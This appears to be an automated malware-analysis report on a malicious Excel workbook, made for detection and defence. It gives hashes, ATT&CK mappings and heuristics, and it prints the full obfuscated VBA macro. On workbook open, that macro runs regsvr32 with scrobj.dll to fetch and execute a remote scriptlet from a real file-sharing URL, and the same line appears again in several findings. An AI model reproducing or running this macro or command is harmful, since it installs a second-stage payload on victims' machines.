Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a9dd8b31b8d471dc…

MALICIOUS

Office (OOXML)

15.7 KB Created: 2021-07-01 22:04:38 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-07
MD5: 3cdc9544d1fdaefc48f4cc3b24c47cba SHA-1: 616fe6be34dc1deafe40bce97081b71af4f16394 SHA-256: a9dd8b31b8d471dc2e00fb650bea778bd984bf87cb236cb8c53a6c6f7bd19e52
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The critical heuristics indicate the presence of a Workbook_Open macro that utilizes WScript.Shell and CreateObject to execute arbitrary code. The VBA code is heavily obfuscated but appears to be designed to download and execute a second-stage payload. The presence of a VBA project and macro further supports this assessment.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
        .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
 .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
For RJXXWPdC = 1 To AOPKwSQ
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4506 bytes
SHA-256: 1974354c42f60eb47281b335b9f09cadb87bcdeae418798a76d2b15d85565793
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
For RJXXWPdC = 1 To AOPKwSQ
    PEBO = OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC).Value
    OFFbYGco = OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC).Value
    Select Case True
        Case PEBO = "REWDkhnJIsJsBUCJCaGNwapwevhtn:": OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC).Font.Bold = True
        Case InStr(1, PEBO, "CnXIJPwnushzTfIzfWsVswsTsXsLFpTkDctGCRuJbGYnVQaCHBKVLLtvYdvL: ")
            OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC & ":OJfsfEYNpfRNkZGZNeQSzCLSBiHcwAMfRTVcefQFDtJuYoMfFeNBbUpuXuVYW" & RJXXWPdC).Interior.ColorIndex = 15
            OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("IIWWUXBaSHJYLPYkedRNIb" & RJXXWPdC).Font.Bold = True
        Case InStr(1, OFFbYGco, "IIWWUXBaSHJYLPYkedRNIb"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.ColorIndex = 37
        Case InStr(1, OFFbYGco, "ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.ColorIndex = 3
        Case InStr(1, OFFbYGco, "dSKnEbuBBEzIAMIoJKYZDFiALGDrV"): OLapifJiIyXLdIpBHd.LfokwMQH(1).Range("ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & RJXXWPdC & ":ffTTPVRaKdiWtEVAkfJAhfaeHNJCZiWaWFSPyZYKAAOTVViiKIiORsTaeQtdt" & (RJXXWPdC + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next RJXXWPdC
Application.DisplayAlerts = False
With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'CHcMiwyDiQOrkEByeIGfhHdnSJvdrBX  oPindkSw RJXXWPdC  LfokwMQH
    .Filters.Add "Excel Files", "*.BzeRsdRsBBTHS; *.HPUPAeuXerdwQXvKuanydVPRVscKtLbXoIGbBGkWSkviIJUeAzMkNDKLZdTecIGyohXk; *.scrTucsPTHJXUGFHFHkJA; *.ToPpUbNMHHaSOeohCNZAKbYnLkQBsXoIOXyHdDJzo; *.rrNGpbsnksaYMHrLcSCEHEIUJEPMuOZwcunLzXzCrPRofXhCkpRNp", 1
Set hb = CreateObject("WScript.Shell")
hb.Run ("regsvr32 /sLbzrtNvihODPHvHLoWVDQVTEtEwCJ   /nIoELBKRkWkUwvnOTfVftCUGKMKQIF   /uLbzrtNvihODPHvHLoWVDQVTEtEwCJ  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll EFJaFGtwMIvKVtVbXUsukToQcQsOB")
 .Show
 'CnXIJPwnushzTfIzfWsVswsTsXsLFpTkDctGCRuJbGYnVQaCHBKVLLtvYdvL IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb /nIoELBKRkWkUwvnOTfVftCUGKMKQIF oPindkSw IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb IIWWUXBaSHJYLPYkedRNIb oPindkSw

End With
If InStr(fullpath, ".scrTucsPTHJXUGFHFHkJA") = 0 Then
 
    Exit Sub
End If

With wb.LfokwMQH("WoODEeVveBFMBDANBLBIzWAABPyOkRAObkCnWwfFer").PivotTables(1).PivotFields("tdORyWisXkFZwHsEcfwovAwKKfDyD")
.Orientation = xlDataField
.Name = "ntharPRYfZonLKBPtHLOUsbNFWPKPOKSWahsPDvGnyXIyefcAfInosBXsyA"
.NumberFormat = "ntharPRYfZonLKBPtHLOUsbNFWPKPOKSWahsPDvGnyXIyefcAfInosBXsyA"
.Function = xlCount
.Calculation = xlPercentOfRow
End With

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 20480 bytes
SHA-256: b34c54587a409c152e69188ed16d5fd77c06aecec30abad4f68d53a289be2e59

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